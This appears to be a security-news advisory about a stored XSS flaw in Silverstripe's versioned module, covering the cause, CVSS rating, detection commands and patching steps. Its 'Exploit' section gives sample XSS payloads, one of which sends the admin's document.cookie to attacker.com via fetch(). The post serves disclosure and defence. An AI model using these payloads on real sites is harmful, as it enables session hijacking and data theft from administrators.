Listen to this Post
This vulnerability resides in the `silverstripe/versioned` module, which provides versioning capabilities for Silverstripe CMS models. The flaw manifests specifically within the `ArchiveAdmin` interface, a component used by administrators to manage archived (deleted) page versions. When a page is restored from the archive, the system generates a confirmation or notification message that is rendered directly in the administrator’s browser. The root cause lies in the `RestoreAction::getRestoreMessage()` method, located in src/RestoreAction.php. This method builds the restoration message by concatenating several properties of the restored page – including “, URLSegment, CMSEditLink(), and certain changed property values – and then outputs this string using the `CAST_HTML` rendering context. Crucially, the code does not sanitize these values with `Convert::raw2xml()` or any other output‑escaping function before embedding them into the HTML response.
An attacker with the ability to create or modify a page can inject malicious JavaScript into the page or URL segment. When an administrator later restores that archived page, the crafted payload is included verbatim in the restoration message and executed in the context of the admin session. This is a classic stored Cross‑Site Scripting (XSS) flaw, as the payload is persisted in the database and triggered when a privileged user performs a specific action. The attack vector is network‑based (AV:N), requires low attack complexity (AC:L), needs no privileges (PR:N) but does require user interaction (UI:R) – specifically, the administrator must click the restore button. The scope is unchanged (S:U), with low impact on confidentiality (C:L) and integrity (I:L), and no impact on availability (A:N). The vulnerability affects all `silverstripe/versioned` versions prior to 3.2.1. The issue was responsibly disclosed by Steve Boyd of Silverstripe Ltd. and patched in release 3.2.1, which was published on June 24, 2026. Administrators are strongly advised to upgrade immediately to mitigate the risk of session hijacking, data exfiltration, or unauthorized administrative actions through injected scripts.
DailyCVE Form:
Platform: Silverstripe Versioned
Version: < 3.2.1
Vulnerability: Stored XSS
Severity: Moderate (CVSS 5.4)
date: 2026-06-24
Prediction: 2026-06-24 (3.2.1)
Analytics under What Undercode Say:
Check installed version of silverstripe/versioned composer show silverstripe/versioned List all versions available for the module composer show silverstripe/versioned --all Identify vulnerable installations (version < 3.2.1) composer show silverstripe/versioned | grep -E '^versions' | grep -v '3.2.1' Query the database for pages with suspicious /URLSegment patterns (example) mysql -u user -p database -e "SELECT ID, , URLSegment FROM SiteTree WHERE LIKE '%<script>%' OR URLSegment LIKE '%<script>%';" Check the CMS access logs for unusual restore actions (example) grep "ArchiveAdmin" /var/log/silverstripe/access.log | grep "restore"
Exploit: (Educational Purposes!)
An attacker with editor privileges can create a new page and set its to a malicious payload, for example:
Page <img src=x onerror="alert('XSS')">
Alternatively, the `URLSegment` can be crafted:
URLSegment: javascript:alert('XSS')
When an administrator navigates to `ArchiveAdmin` and restores this archived page, the restoration message will be rendered without sanitization. The injected script executes in the administrator’s browser, potentially stealing session cookies, performing actions on behalf of the admin, or defacing the CMS interface. A more advanced payload could exfiltrate sensitive data:
Page <script>fetch('https://attacker.com/steal?cookie='+document.cookie);</script>
Protection: from this CVE
- Immediate Upgrade: Update the `silverstripe/versioned` module to version 3.2.1 or later using Composer:
composer require silverstripe/versioned:^3.2.1
- If upgrade is not possible, apply a hotfix by overriding the `RestoreAction::getRestoreMessage()` method in your project code to sanitize output with `Convert::raw2xml()` before rendering.
- Restrict administrative privileges to only trusted users to reduce the attack surface.
- Enable Content Security Policy (CSP) headers to mitigate the impact of any XSS that may still occur.
- Regularly audit page s and URL segments for suspicious characters or scripts.
Impact:
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a logged‑in administrator’s session. This can lead to session hijacking, unauthorized modification of CMS content, exfiltration of sensitive data (including draft pages and user information), and further compromise of the underlying server if the admin session is used to perform privileged actions. The vulnerability is particularly dangerous because it is triggered by a routine administrative workflow (restoring pages), making it likely that an admin will inadvertently execute the payload. The CVSS base score of 5.4 (Medium) reflects the need for user interaction and the limited scope, but in practice, the risk to CMS integrity and confidentiality is significant.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
